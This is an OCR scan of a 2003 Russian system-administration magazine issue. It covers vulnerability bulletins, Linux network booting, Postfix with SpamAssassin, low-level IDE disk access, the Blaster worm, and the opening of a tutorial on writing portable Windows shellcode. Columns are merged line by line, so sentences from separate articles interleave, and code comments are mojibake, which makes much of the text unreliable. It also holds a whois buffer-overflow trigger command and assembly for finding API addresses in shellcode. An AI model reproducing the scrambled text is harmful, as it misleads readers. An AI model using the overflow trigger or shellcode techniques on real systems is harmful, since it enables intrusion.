ют удаленному пользователю выполнить произвольный ты DNS-сервера, может аварийно завершить работу по-
код. Воздействие зависит от того, как приложение вызы- чтового сервера или выполнить произвольный код на уяз-
вает или интегрирует Whois-клиента. вимом сервере.
Посылая специально обработанное значение для име- Уязвимость обнаружена в конфигурациях, в которых
ни хоста, когда вызывается whois с «-g» параметром ко- используется DNS-маппинг в файле sendmail.cf.
мандной строки, локальный или удаленный пользователь Функция dns_parse_reply() формирует цепочку
может вызвать переполнение буфера: RESOURCE_RECORD_T-структур (динамически распреде-
ляя память для них). Из-за неправильной инициализации
astharot@astharot <mailto:astharot@astharot> astharot ↵ этих структур, когда sendmail получает плохой DNS-ответ
$ whois -g `perl -e "print 'a'x2000"`
(в котором фактический размер ответа не равен заявлен-
Когда whois использует отдельное приложение, пере- ному), структура вызывает dns_free_data (sm_resolve.c:227)
полнение буфера позволяет локальному пользователю с rr_next полем последней цепочки структуры, запол-
выполнить произвольный код с привилегиями локально- ненной мусором. В dns_free_data() sendmail попытает-
го пользователя (что само по себе не является уязвимос- ся освободить цепочку структур – пройдет через цепоч-
тью защиты). Однако некоторые веб-приложения, исполь- ку, используя rr_next указатель и останавливаясь, когда
зующие whois, могут позволить удаленному пользовате- rr_next == NULL. Мусор в rr_next поле заставит sendmail
лю выполнить произвольный код с привилегиями веб-сер- вызвать free() на случайном адресе. В результате ра-
вера. бота Sendmail аварийно завершится.
Уязвимость обнаружена в GNU Whois 4.6.6 и более ран- Уязвимость обнаружена в sendmail 8.12.8 и более ран-
них версиях. них.
Для устранения уязвимости измените следующую Sendmail выпустил небольшую заплату, устраняющую
строку в файле whois.c обнаруженную уязвимость:
sprintf(p--, "-%c %s ", ch, optarg); --- sm_resolve.c.orig Fri Jun 28 00:43:24 2002
+++ sm_resolve.c Thu Jul 10 01:21:17 2003
на @@ -233,6 +233,7 @@
snprintf(p--, sizeof(fstring), "-%c %s ", ch, optarg); dns_free_data(r);
return NULL;
}
+ memset(*rr, 0, sizeof(**rr));
(*rr)->rr_domain = sm_strdup(host);
Удаленное выполнение произвольного if ((*rr)->rr_domain == NULL)
кода в Helix Universal Server и RealServer {
Уязвимость обнаружена в RealNetworks Helix Universal
Server. Удаленный пользователь может выполнить про-
извольный код с root-привилегиями.
Удаленный пользователь может запросить URL, содер-
жащий большое число определенных символов, чтобы Истощение памяти
заставить сервер выполнить произвольный код. Недоста- в системном вызове semget(2)
ток находится в обработчике протокола. в операционной системе OpenBSD
Уязвимость обнаружена в Helix Universal Server 9 и Уязвимость обнаружена в операционной системе
более ранних версиях (RealSystem Server 8, 7 и RealServer OpenBSD в системном вызове semget(2). Локальный
G2). пользователь может аварийно завершить работу систе-
мы.
Системный вызов semget(2) не проверяет размеры гра-
Удаленный отказ в обслуживании ниц в пользовательских данных. Локальный пользователь
в Piolet File Sharing-клиенте может выполнить специально обработанный запрос, что-
Отказ в обслуживании обнаружен в Piolet File Sharing-кли- бы заставить функцию использовать всю доступную па-
енте. Удаленный пользователь может аварийно завершить мять, что приведет к зависанию системы.
работу клиента. Уязвимость обнаружена в OpenBSD version 3.3.
Удаленный пользователь может подключиться к целе- Для устранения уязвимости установите соответству-
вому клиенту на 701 TCP-порт и послать чрезмерное ко- ющее обновление, которое можно скачать отсюда:
личество данных, чтобы аварийно завершить работу це- ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.3/common/
левого клиента. Согласно сообщению, атака не будет за- 002_semget.patch
регистрирована приложением. Составил Александр Антипов
Уязвимость обнаружена в Piolet File Sharing Client 1.05.
Способов устранения обнаруженной уязвимости не су-
ществует в настоящее время.
ЗАГРУЗКА ПО СЕТИ
46
администрирование
Многие современные материнские платы позволяют заг-
ружать операционную систему не только с жесткого дис-
ка или дискеты, но и по сети. Причем загружаться по
сети «умеют» компьютеры как со встроенными сетевы-
ми адаптерами, так и обладающие внешними сетевыми
карточками.
В этой статье мы рассмотрим, как загрузить операци-
онную систему Linux по сети. Многие дистрибутивы по-
зволяют устанавливать операционную систему по сети.
Однако не нужно путать установку по сети и загрузку по
сети. В первом случае вы загружаетесь с системной дис-
кеты, а дальше программа установки просто копирует все
необходимые ей файлы, находящиеся, как правило, на
каком-то FTP-сервере, на ваш компьютер. В случае с заг-
рузкой по сети файлы не копируются на ваш компьютер,
а загружаются по сети при необходимости. Сначала заг-
ружается ядро системы (мы говорим о Linux), а потом не-
обходимые ему файлы – корневая файловая система (с
использованием NFS). Данный способ позволяет нам ис-
пользовать бездисковые станции. Если вам нужна «слу-
жебная» бездисковая станция, которая будет выполнять
только определенные задачи, например, принт-сервера
или шлюза, можно вовсе отказаться от NFS, а загружать
все сразу – и ядро, и корневую файловую систему – лишь
бы оперативной памяти хватило.
Примечание: NFS (Network File System) – сетевая фай-
ловая система. Позволяет монтировать файловые систе-
мы, находящиеся на удаленных компьютерах.
Наверное, вы знаете, что существуют так называемые
NFS-дистрибутивы, которые также позволяют хранить все
необходимые файлы на NFS-сервере. Но NFS-дистрибу-
тив нельзя использовать на бездисковых станциях. Как
минимум для запуска такого дистрибутива на рабочей
станции должен быть установлен обычный дисковод для
гибких дисков. Загрузчик LILO (или любой другой) загру-
жается с дискеты, затем вы передаете ему несколько па-
раметров, как минимум два:
root=/dev/nfs – сообщает ядру, что мы будем исполь-
зовать загрузку по NFS;
nfsroot – указывает путь к корневой файловой систе-
ме в формате:
[<server_ip>:]<root_dir>[,<nfs_options>]
Мы используем сервер rarp: Команда rdev используется в случае, если ядро и кор-
невая файловая система находятся на разных дисках. В
ip=::::net_pc1::rarp нашем случае ядро – на дискете, а файловая система –
48
администрирование
на жестком диске (раздел /dev/hda1). Если загрузка про- Вот сейчас все должно быть нормально. Во всяком
шла успешно, значит, ваше ядро вполне работоспособно случае, ядро системы должно загрузиться по сети. Если
и его можно использовать. возникнет ошибка во время загрузки системы, то это оз-
Самое сложное – еще впереди. Вам нужно самостоя- начает только одно – вы где-то допустили ошибку при
тельно подготовить набор файлов корневой файловой «сборке» собственного микродистрибутива.
системы, то есть создать свой небольшой дистрибутив. Обычно бездисковые станции используются в качестве
Подробнее о создании микродистрибутивов вы може- служебных компьютеров, например, маршрутизаторов
те прочитать: или шлюзов. А что делать, если вам нужна полноценная
в статье Всеволода Стахова «Создание загрузочных рабочая станция, скажем, X-терминал, за которым днями
дискет и CD-дисков Linux», которая была опублико- и ночами должны работать пользователи (например, вы
вана в июньском номере «Системного администра- создаете малобюджетное интернет-кафе)? Тогда наш заг-
тора»; рузочный образ должен содержать только ядро и загруз-
в статье «Изготовление мульти-загрузочного CD-дис- чик без файловой системы. Загрузчик должен передать
ка» (http://gazette.linux.ru.net/); ядру следующие параметры:
на моем сайте dkws.narod.ru.
root=/dev/nfs nfsroot=192.168.1.1:/exports/nfs
Конечно, всегда можно пойти по пути наименьшего со-
противления и использовать уже готовый микродистри- 192.168.1.1 – это IP-адрес сервера NFS.
бутив, помещающийся на одной – двух дискетах. Такой В файле /etc/exports указываются экспортируемые
дистрибутив очень легко найти в сети. Конкретный дист- файловые системы:
рибутив советовать не буду, поскольку выбор зависит от
выполняемых им функций. /exports/nfs (ro)
/exports/nfs-rw (rw)
Кроме ядра и файловой системы Linux, наш образ дол- /mnt/cdrom net_pc1(ro)
жен содержать загрузчик Linux: кто-то ведь должен пере-
дать параметры ядру Linux (вы еще не забыли о парамет- Первая строка означает, что экспортируется файло-
ре ip?). Подойдет любой загрузчик, который в состоянии вая система /exports/nfs и доступ к ней в режиме «только
справиться с возложенной на него задачей – передачей чтение» (read only – ro) получат все компьютеры. К фай-
параметров ядру. Если файл образа уже готов, можно ловой системе /exports/nfs-rw также получат доступ все
записать загрузчик прямо в него – Linux все равно с чем компьютеры, но в режиме «чтение-запись». К CD-ROM
работать – с файлом или устройством. Вот конфигураци- получит доступ только компьютер net_pc1.
онный файл lilo.conf: Как и обещал, привожу небольшой фрагмент файла
конфигурации /etc/dhcpd.conf, позволяющего серверу
boot=/tftp/net.img DHCP работать в режиме BOOTP:
prompt
timeout=50
compact subnet 192.168.1.0 255.255.255.0 {
vga=normal option subnet-mask 255.255.255.0;
read-only option domain-name-servers 192.168.1.1;
image=/vmlinuz
label=linux # Åñëè âû íå óêàæåòå äèðåêòèâó dynamic-bootp, âàø DHCP-ñåðâåð
append=" ip=::::nfs-client::bootp" # íå áóäåò ðàáîòàòü â ðåæèìå BOOTP
range dynamic-bootp 192.168.1.100 192.168.1.200
}
Когда ваш образ будет полностью готов, запишите его
в каталог /tftp и можно попробовать запустить бездиско- host net_pc1{
hardware ethernet 00:00:a1:77:e5:c9
вую станцию (не забудьте в SETUP включить загрузку по fixed-address 192.168.1.117
сети). Не получается? Тогда переименуем файл образа }
следующим образом:
Все ваши вопросы и комментарии к статье буду рад
ln –sf net.img C0A80175.I586 выслушать по адресу: dhsilabs@mail.ru
POSTFIX+...+SPAMASSASSIN
MINI-HOWTO
Спам. Рассылка рекламы. Бороться
с нежелательной почтой можно
по-разному. Эта статья расскажет,
как прикрутить фильтр SpamAssassin
к MTA Postfix. Надеюсь, статья получится
выдержанной в стиле mini-howto.
АНДРЕЙ МОЗГОВОЙ
50
администрирование
Пожалуйста, не пытайтесь прикрутить фильтр к ненаст- ...
# DrWeb AntiVirus Filter
роенному/работающему серверу Postfix. Далее будем по- #=====================================================================
лагать, что у читателя настроен и нормально работает по- drweb unix - n n - - pipe
flags=R user=drweb argv=/opt/drweb/drweb-postfix -f ↵
чтовый сервер и уже установлен SpamAssassin. ${sender} -- ${recipient}
Установка SpamAssassin (коротко): SpamAssassin – это --- END MASTER.CF ---
perl-модуль. Состоит из трех основных частей:
spamd – daemon, к которому подключается клиент; Фильтровать почту будем, используя именно spamc/
spamc – client, который подключается к spamd. На вход spamd, а не через perl-скрипт spamassassin. Так оно на-
клиенту подаются письма, с выхода забираются от- много быстрее… да и вообще симпатичнее.
фильтрованные письма; Создаем в системе пользователя с домашним катало-
spamassassin – perl-скрипт, работает сам по себе, под- гом «/etc/mail/spamassassin», shell можно не давать (/bin/fasle).
робней – «man spamassassin». Установка подробно Но валидный shell очень удобен, когда надо добавить/уда-
описана в файле INSTALL. лить какой-нибудь адрес в White/Black List. Решайте сами.
Также создаем группу spam. Каталоги /etc/mail/spamassassin
Мой Postfix работает в следующей связке: Postfix+Cy- и /usr/local/share/spamassassin отдаем в распоряжение бюд-
rus-SASL+Mysql+Courier-IMAP+SquirrelMail+DrWeb, а те- жету spam (chown –R spam.spam /path/to/dir).
перь еще и SpamAssassin. С документацией по настройке spamd трудности [2], я
Postfix – сам MTA; использовал веб-интерфейс, написанный Michael Moncur [3].
Cyrus-SASL – используется для авторизации пользо- Принцип фильтрации следующий: во всех письмах, рас-
вателей (пока только SMTP AUTH); познанных как спам, поля темы меняются на «SPAM:
MySQL – БД – хранит все бюджеты пользователей; <original subject>».
Courier-IMAP – POP3- и IMAP-сервисы; Запускаем spamd: прочтите руководство и выберите
SquirrelMail – веб-интерфейс для пользователей, кста- необходимые параметры (man spamd). Меня устроило
ти, нормально работает с кириллицей; следующее:
DrWeb – антивирус, работает как фильтр, в этом соб-
ственно вся проблема и была. Если прикручивать /usr/bin/spamd -d -a -c -m 50 -u spam
* èñïîëüçóéòå îïöèþ "-D" äëÿ îòëàäêè.
SpamAssassin как один-единственный фильтр, думаю, * íå çàáóäüòå ïðîïèñàòü spamd â ñòàðòîâûõ ñêðèïòàõ
проблем особых возникнуть не должно. Схема про-
ста, в master.cf прописывам фильтр, например, spam, Уже можно протестировать SpamAssassin. Сохраните
с опцией: спамовское письмо, которое пришло к вам, на сервере и
подайте его на вход spamc (желательно сразу использо-
-o content_filter=spam вать параметр -u user).
52
hardware
ВЛАДИМИР МЕШКОВ
54
hardware
В номере 3(4) журнала «Системный администратор» была файла устройства, структура struct block_device_operations
опубликована статья Алексея Серебрякова «Основы сис- содержит функции, выполняемые драйвером устройства.
тем хранения данных». В продолжение данной темы да- Однако функции read и write в этой структуре отсутству-
вайте рассмотрим, как осуществить доступ к IDE-диску ют. Дело в том, что пользовательский процесс не выпол-
на программном уровне при помощи файла устройства и няет напрямую операции чтения/записи в блочное устрой-
через порты ATA-контроллера. ство. Для этой цели драйвер предоставляет системе ме-
ханизм request, и все операции ввода/вывода выполня-
Файлы устройств ются через буферный кеш системы, но это тема для от-
Файл – основа любой операционной системы, посколь- дельной статьи.
ку именно с ним производится наибольшее число дей- При снятии регистрации соответствующий элемент
ствий. В UNIX- и POSIX-системах существуют файлы сле- массива blkdevs обнуляется:
дующих типов:
обычный файл; int unregister_blkdev(unsigned int major, const char * name)
{
каталог; ....
FIFO-файл; blkdevs[major].name = NULL;
blkdevs[major].bdops = NULL;
байт-ориентированный файл устройства; return 0;
блок-ориентированный файл устройства. }
Блок-ориентированный файл устройства служит для Таблица символьных устройств определена в фай-
представления физического устройства, которое пере- ле fs/devices.c и также является массивом структур, ко-
дает данные блоками. Примером блок-ориентированно- торый заполняется при регистрации устройства в сис-
го устройства является жесткий диск. Байт-ориентиро- теме:
ванный файл устройства служит для представления фи-
зического устройства, которое передает данные побай- struct device_struct {
const char * name;
тово (например, модем). Прикладная программа может struct file_operations * fops;
выполнять операции чтения и записи с файлом устрой- };
ства так же, как с обычным файлом, а операционная static struct device_struct chrdevs[MAX_CHRDEV];
система будет автоматически вызывать соответствую-
щий драйвер устройства для выполнения фактической Структура struct file_operations определена в файле
передачи данных между физическим устройством и при- <linux/fs.h> и содержит функции, выполняемые драйве-
ложением. Файл устройства создается командой mknod, ром символьного устройства.
одним из аргументов которой является старший номер Когда пользовательский процесс читает данные из
устройства (major device number). По сути, старший но- файла устройства или записывает их, ядро, используя
мер – это индекс в таблице ядра, которая содержит ад- старший номер устройства в качестве индекса, находит в
реса всех драйверов, известных системе. В ОС Linux соответствующей таблице нужную процедуру драйвера и
создаются две таблицы – таблица блочных устройств выполняет запрашиваемое действие.
(block device switch) и таблица символьных устройств Кроме операций чтения/записи драйвер также предо-
(character device switch). Обе таблицы являются масси- ставляет возможность управления устройством. Опера-
вом структур и проиндексированы при помощи значе- ция управления осуществляется при помощи функции
ния старшего номера устройства. Таблица блочных ус- ioctl. Эта функция вызывается пользовательским процес-
тройств определена в файле fs/block_dev.c следующим сом и имеет следующий прототип:
образом:
int ioctl(int fd, int cmd, ...);
static struct {
const char *name;
struct block_device_operations *bdops; Аргументы функции: int fd – файловый дескриптор ус-
} blkdevs[MAX_BLKDEV]; тройства; int cmd – команда, посылаемая устройству. Тре-
тий параметр является специфичным для каждого устрой-
Этот массив заполняется во время регистрации блочно- ства, поэтому в прототипе функции не указан.
го устройства в системе. Для регистрации устройства соот-
ветствующий драйвер вызывает функцию register_blkdev (см. Доступ к жесткому диску
файл fs/block_dev.c): через файл устройства
Предположим, что в системе присутствует один нако-
int register_blkdev(unsigned int major, const char * name, питель на жестком магнитном диске, который подклю-
struct block_device_operations *bdops)
{ чен как Primary Master. Согласно обозначениям блоч-
.... ных устройств, принятым в ОС Linux, ему соответству-
blkdevs[major].name = name;
blkdevs[major].bdops = bdops; ет файл устройства /dev/hda. Разработаем программ-
return 0; ный модуль, выполняющий чтение первого сектора
}
(MBR) и получающий информацию об устройстве, та-
Аргумент major – старший номер устройства, name – имя кой, как модель жесткого диска, его серийный номер,
int main()
{
Интерфейс АТА
Ниже приведены краткие сведения об интерфейсе АТА-2.
struct hd_driveid ide; Для получения детальной информации обратитесь к спе-
int hda, sect;
char sector[512]; цификации.
56
hardware
Регистр номера цилиндра (старшего и младшего #define HD_SECTOR 0x1f3
/* ðåãèñòð ìëàäøåãî áàéòà íîìåðà öèëèíäðà
байта) и номера сектора имеют двоякое назначение */#define HD_LCYL 0x1f4
в зависимости от выбранной системы адресации /* ðåãèñòð ñòàðøåãî áàéòà íîìåðà öèëèíäðà */
#define HD_HCY 0x1f5
(CHS или LBA). Они инициализируются хост-адап- /* 101dhhhh, d=óñòðîéñòâî, hhhh=ãîëîâêà */
тером, а в случае возникновения ошибки при опе- #define HD_CURRENT 0x1f6
/* ðåãèñòð ñîñòîÿíèÿ/êîìàíä */
рации устройство поместит в них адрес, по которо- #define HD_STATUS 0x1f7
му встретилась ошибка.
Регистр номера устройства и головки, кроме хране-
ния части адресной информации, служит для выбо- Протокол взаимодействия
ра ведущего или ведомого устройства (Device-0 и Обычный протокол взаимодействия хоста с устройством
Device-1 согласно спецификации ATA) и метода ад- выглядит следующим образом:
ресации. 1. Хост читает регистр состояния устройства, дожидаясь
Биты 7 и 5 – зарезервированы. нулевого значения бита BSY.
Бит 6 – единичным значением указывает на при- 2. Дождавшись освобождения устройства, хост записы-
менение режима адресации LBA. При нулевом зна- вает в регистр номера устройства и головки байт, у
чении бита используется режим CHS. которого бит DEV указывает на адресуемое устрой-
Бит 4 – DEV (Device) – выбор устройства. При DEV=0 ство.
выбрано устройство-0 (Master), при DEV=1 – уст- 3. Хост читает основной регистр состояния адресован-
ройство-1 (Slave). ного устройства, дожидаясь признака его готовности
Биты 3-0 имеют двоякое назначение, в зависимос- (DRDY = 1).
ти от выбранной системы адресации. В режиме CHS 4. Хост заносит требуемые параметры в блок командных
они содержат номер головки, в режиме LBA – стар- регистров.
шие биты логического адреса. 5. Хост записывает код команды в регистр команд.
Регистр данных может использоваться как 8-битный и 6. Устройство устанавливает бит BSY и переходит к ис-
16-битный, в зависимости от типа данных, передавае- полнению команды.
мых в текущей команде.
Регистр ошибок хранит состояние выполнения после- Для команд, не требующих передачи данных (ND):
дней операции или диагностический код. 7. Завершив исполнение команды, устройство сбрасы-
Регистр свойств (Features Register) используется в за- вает бит BSY и устанавливает запрос прерывания. К
висимости от команды. этому моменту в регистрах состояния и ошибок уже
Регистр счетчика секторов содержит число секторов, имеется информация о результате выполнения.
участвующих в обмене. Нулевое значение соответству-
ет 256 секторам. Для команд, требующих чтения данных в режиме PIO:
7. Подготовившись к передаче первого блока данных по
Блок управляющих регистров используется для уп- шине АТА, устройство устанавливает бит DRQ. Если
равления устройством и получения байта его состояния. была ошибка, она фиксируется в регистрах состояния
В состав блока входят альтернативный регистр состоя- и ошибок. Далее устройство сбрасывает бит BSY и ус-
ния и регистр управления устройством. Альтернативный танавливает запрос прерывания.
регистр состояния имеет те же биты, что и основной, но 8. Зафиксировав обнуление бита BSY (или по прерыва-
его чтение не приводит ни к каким изменениям состоя- нию), хост считывает регистр состояния, что приводит
ния устройства. к сбросу прерывания от устройства.
В регистре управления устройством биты 7-3 заре- 9. Если хост обнаружил единичное значение бита DRQ,
зервированы, бит 0 всегда нулевой, используются толь- он производит чтение первого блока данных в режи-
ко два бита: ме PIO (адресуясь к регистру данных). Если обнару-
Бит 2 – SRST (Software Reset) – программный сброс жена ошибка, считанные данные могут быть недосто-
действует все время, пока бит не будет сброшен. Оба верными.
устройства шины воспринимают программный сброс
одновременно. После передачи блока данных возможно одно из сле-
Бит 1 – IEN# (Interrupt Enable) – инверсный бит разре- дующих действий:
шения прерывания. если на шаге 8 ошибка не обнаружена, а требуется
передача следующего блока, устройство устанавлива-
Адреса регистров контроллера устройства 0 опреде- ет бит BSY, и данная последовательность повторяет-
лены в файле <linux/hdreg.h>: ся с шага 7.
если есть ошибка или передан последний блок дан-
/* ðåãèñòð äàííûõ */ ных, устройство сбрасывает бит DRQ и выполнение
#define HD_DATA 0x1f0
/* ðåãèñòð îøèáîê */ команды завершается.
#define HD_ERROR 0x1f1
/* ðåãèñòð ñ÷åò÷èêà ñåêòîðîâ */
#define HD_NSECTOR 0x1f2 Операцию записи на жесткий диск рассматривать не
/* ðåãèñòð ñòàðòîâîãî ñåêòîðà */ будем.
Макрос OUT_P_B осуществляет запись байта в порт, void get_hd_identity(struct hd_driveid *hd)
{
макросы IN_P_B и IN_P_W – чтения байта/слова из порта.
Для работы с устройством определим несколько фун- unsigned short a = 0;
int i = 0;
кций.
Функция проверки статуса устройства (занято/свобод- unsigned short buff1[0x100];
memset(buff1,0,0x100);
но):
В соответствии с протоколом взаимодействия прове-
void hd_busy() ряем статус устройства. Оно должно быть свободно:
{
unsigned char status;
hd_busy();
do {
IN_P_B(status,HD_STATUS);
} while (status & 0x80); Как только устройство освободилось, в регистр но-
return;
} мера устройства и головки заносим значение 0xA0
(10100000 в двоичном виде). Бит 4 (DEV) равен 0, сле-
Проверка статуса устройства осуществляется провер- довательно, нами выбрано ведущее устройство. Режим
кой значения бита 7 (BSY) регистра состояния. Если бит адресации в данном случае роли не играет, бит 6 оста-
сброшен, устройство свободно и регистры контроллера вим нулевым:
доступны.
Функция проверки готовности устройства к восприя- OUT_P_B(0xA0,HD_CURRENT);
тию команд:
Ожидаем готовность устройства к восприятию команд:
void hd_ready()
{ hd_ready();
unsigned char status;
do {
IN_P_B(status,HD_STATUS); Итак, устройство готово. В регистр команд (HD_STATUS)
} while (!(status & 0x40)); записываем код команды идентификации устройства –
return;
} 0xEC. Данная команда выполняется в режиме PIO. Пол-
ный перечень команд смотрите в спецификации:
Устройство готово, если бит 6 (DRDY) регистра состо-
яния установлен. OUT_P_B(0xEC,HD_STATUS);
58
hardware
В ответ на эту команду устройство установит бит hd_ready();
DRQ и вернет блок данных, содержащих информацию
идентификации. Для считывания информации органи- В блок командных регистров заносим требуемые па-
зуем цикл: раметры:
do { OUT_P_B(N,HD_NSECTOR);
hd_busy(); OUT_P_B(s_sect,HD_SECTOR);
check_error(); OUT_P_B(s_cyl,HD_LCYL);
IN_P_W(a,HD_DATA); OUT_P_B((s_cyl >> 8),HD_HCYL);
if((i>=10 && i<=19) || (i>=27 && i<=46))
asm(
"xchgb %%ah, %%al" В регистр команд записываем код команды чтения
:"=a"(a)
:"0"(a)); секторов с повторами – 0x20. Данная команда выполня-
buff1[i++] = a; ется в режиме PIO:
} while(hd_data_request());
OUT_P_B(N,HD_NSECTOR); ioperm(0x1f0,8,1);
В регистр номера сектора заносим биты 7-0 логичес- Вызовем функцию получения информации идентификации.
кого адреса: Результат будет помещен в структуру struct hd_driveid hd:
get_hd_identity(&hd);
OUT_P_B((lba & 0x000000FF),HD_SECTOR);
OUT_P_B(0x20,HD_STATUS); read_hd_sector_chs(N,sect,cyl,head,buff);
IN_P_W(a,HD_DATA); ioperm(0x1f0,8,0);
buff[i] = a; return (0);
return; }
}
Весь вышеприведенный код сохраним в файле disk.c.
Рассмотрим главную функцию: Исполняемый модуль получим, введя команду:
Определим необходимые структуры и переменные: Работоспособность кода была проверена для ОС Linux,
версия ядра 2.4.20.
struct hd_driveid hd; Как вы понимаете, рассмотреть в рамках одной ста-
int out; тьи всю систему команд стандарта АТА не представляет-
unsigned short N = 1; ся возможным, да мы и не ставили перед собой такую
unsigned int sect, cyl, head, lba;
цель. Желающие могут продолжить освоение данной
/* темы, изучив спецификацию и систему команд стандар-
* N – ÷èñëî ñåêòîðîâ äëÿ ÷òåíèÿ
* sect – íîìåð ñåêòîðà та АТА либо исходные тексты утилиты hdparm.
* cyl – íîìåð öèëèíäðà
* head – íîìåð ãîëîâêè
* lba – íîìåð ëîãè÷åñêîãî áëîêà Литература:
*/ 1. Теренс Чан. Системное программирование на С++ для
unsigned short buff[0x100*N];
UNIX. Пер. с англ. – К.: Издательская группа BHV,
memset(buff,0,0x100*N); 1999. – 592 с.
memset(&hd,0,sizeof(struct hd_driveid));
2. Гук. М. Интерфейсы ПК: справочник – СПб: Питер Ком,
Чтобы не схлопотать Segmentation fault, запросим у си- 1999. – 416 с.
60
безопасность
ВИКТОР ИГНАТЬЕВ
62
безопасность
12 августа, Швеция. 40 серверов интернет-провайдера OLECHAR * szName,
ULONG cmq,
TeliaSonera в постоянной перезагрузке, администраторы в MULTI_QI * rgmqResults
панике, 20 000 клиентов подверглись атаке компьютеров );
своего же провайдера, компания на грани банкротства.
По всей Азии и Европе большинство корпоративных Переполнение буфера происходит в шестом парамет-
сетей подвергаются ежеминутной атаке. Многие корпо- ре (szName), благодаря которому возможно выполнение
рации несут тысячные убытки, т.к. компьютеры не позво- любого кода на удалённой машине.
ляют обслуживать клиентов. После публикации эксплоита от Xfocus и подробного
К концу дня информационные агентства в Дании со- объяснения на сайтах, посвященных компьютерной безо-
общили, что на данный момент парализована работа при- пасности, каждый день стали появляться новые реализа-
близительно 2000 компьютеров, и эта цифра постоянно ции от разных хак-групп. В основном отличие от ориги-
увеличивается. нального заключалось в том, что количество поражаемых
В Германии известный автомобильный гигант BMW версий Windows увеличивалось с каждым разом, снача-
признал, что многие компьютеры корпорации работают ла 7 целей, затем 18, 48 и наконец 8 июля группа oc192
некорректно. Security предоставила универсальный исходный код, по-
Что же это? Массовая атака хакеров? Или, может быть, ражающий все версии Windows 2000 и Windows XP. Пос-
сбой в операционной системе? Нет, в очередной раз весь ле этого события волна взломов в Интернете подскочила
мир стал свидетелем воплощения в жизнь реального прин- в сотни раз. Каждый скачавший этот код мог спокойно
ципа корпорации Microsoft: «Сначала деньги, а пользовате- получить административный доступ к любой Windows-си-
ли потом». Многие администраторы и простые пользовате- стеме в сети. Многие кинулись скачивать патчи с офици-
ли ещё помнят Nimda и Code Red, помнят фразу «Hacked by ального сайта Microsoft, но буквально через 3 недели сайт
chinese», и теперь этот список дополнит ещё один – оказался недоступным. В ночь c 1 на 2 августа хакеры
W32.Lovsan.worm, так же он известен как W32.Blaster. атаковали сайт Microsoft, до того считавшийся одним из
Итак, рассмотрим подробнее суть проблемы. 16 июля на наиболее защищенных ресурсов Интернета. Работа сай-
bugtraq пришло письмо от польской хакерской группы Last та была парализована на час и сорок минут. Эксперты
Stage of Delirium. Они заявили, что обнаружили критичес- связывают нападение с готовящейся массовой атакой на
кую уязвимость защиты во всех недавних версиях операци- Интернет, которую хакеры хотят осуществить через брешь
онных систем корпорации Microsoft. Уязвимость затрагива- в ОС Windows. Атака затронула как главную страницу
ет заданные по умолчанию инсталляции Windows NT 4.0, сайта http://www.microsoft.com, так и многие другие адре-
Windows 2000, Windows XP, а также Windows 2003 Server, са, включая страницу службы технической поддержки
которая, кстати, была разрекламирована как не воспри- http://www.support.microsoft.com и портал для разработчи-
имчивая к атакам на переполнение буфера. Это ещё одно ков http://www.msdn.microsoft.com.
подтверждение что «Сначала реклама, а потом дело, и Microsoft уже признала факт хакерской атаки, но при
уж после этого может быть качество». этом оградила себя от возможных домыслов по поводу
LSD предоставили общественности proof of concept использования взломщиками какой-либо уязвимости в
code, но полный исходный код эксплоита не был опубли- софте, обеспечивающем работу сайта. По словам офи-
кован, т.к. это повлекло бы за собой массовые взломы и циального представителя Microsoft Шона Сандволла, спе-
создание червей. циалистами компании установлено, что хакеры соверши-
Реакция Microsoft оказалась на редкость незамедли- ли «обычную атаку на сервер, однако не воспользовались
тельной. Буквально в этот же день на официальном сай- никакими «дырами» в программном обеспечении». О де-
те компании было опубликовано подтверждение суще- талях нападения Сандволл распространяться не стал.
ствования уязвимости. Но несмотря на «джентльменский» Но 12 августа после полудня произошло то, чего так
поступок LSD, 25 июля группа китайских хакеров Xfocus опасались LSD и все мировые организации по сетевой
опубликовала полный код эксплоита против англоязыч- безопасности. В сети появился червь, использующий
ных версий Windows 2000 и XP. уязвимость DCOM. За считанные минуты он заполонил
европейскую часть Интернета. Полный анализ червя
Так в чём же суть проблемы? предоставили большинство производителей антивирус-
Уязвимость заключается в посылке специальных дан- ных продуктов, но первый временный патч выпустила
ных удалённой машине через порт 135 (TCP/IP). Соеди- Symantec. FixBlast сканирует ваш компьютер на пред-
нение между клиентом и сервером обеспечивает служ- мет заражения Win32.Blaster, удаляет файл червя и его
ба RPC (Remote Procedure Call), которую использует ар- следы в системе. Самый полный отчёт предоставила,
хитектура DCOM. на мой взгляд, Лаборатория Касперского, т.к. только
Проблема истекает из ошибки в реализации API-фун- они объяснили принцип генерации IP-адресов и скани-
кции: рования портов жертв.
HRESULT CoGetInstanceFromFile(
COSERVERINFO * pServerInfo,
Как делают Blaster
CLSID * pclsid, Первое, что обнаружили программисты антивирусных ла-
IUnknown * punkOuter, бораторий, – это текстовые (ASCII) строки внутри файла
DWORD dwClsCtx,
DWORD grfMode, следующего содержания:
64
bugtraq
Построение
переносимого Shell-кода
для Windows-систем
СТАНИСЛАВ ГОШКО
66
безопасность
Shell-код – это двоичный код, который выполняется в кон- стре edx будет находиться адрес ядра. Данный код специ-
тексте другой программы. Когда уязвимость уже обнару- ально модифицирован таким образом, чтобы в нём не
жена и начинается написание эксплоита, необходимо для было нулевых байт.
себя решить, будет ли эксплоит зависеть только от вер- Теперь перейдём к поиску адреса функции GetProc-
сии уязвимой программы или ещё он будет зависеть от Address. Поиск данной функции используется в большин-
версии операционной системы. Если атакующий хочет, стве современных вирусов, ориентированных на Windows-
чтобы его эксплоит работал на большинстве систем, то системы.
ему необходимо построить shell-код, который бы не опи- По определённому смещению в PE-заголовке мы мо-
рался на «жёсткие» адреса WIN API-функций. жем найти адрес таблицы экспортов. В таблице экспортов
Для построения такого рода кода необходимо, чтобы узнаем количество указателей на функции, расположение
shell-код удовлетворял следующим требованиям: таблицы указателей имен и адрес таблицы ординалов.
Поиск адреса ядра (kernel32.dll). Перебираем указатели (и ординалы), проверяя при этом
Поиск адреса WIN API-функции GetProcAddress. имена функций, на которые они указывают при совпаде-
Поиск адресов других WIN API-функций при помощи нии с GetProcAddress. При совпадении возьмем ординал и
функции GetProcAddress. по таблице адресов мы получим адрес функции.
Запуск необходимых нам WIN API-функций по найден- Рассмотрим пример поиска адреса функции GetProc-
ным адресам. Address:
Каким образом возможно выполнить первое требова- mov ebx,edx ; Ñîõðàíèì óêàçàòåëü
mov edi,dword ptr [edx+3Ch] ; Àäðåñ
ние? При запуске любой программы в операционных сис- ; PE-çàãîëîâêà
темах семейства Windows она вызывается из ядра. По- add edi,edx ; +Àäðåñ kernel
cmp word ptr [edi],'EP' ; Ïðîâåðêà íà PE
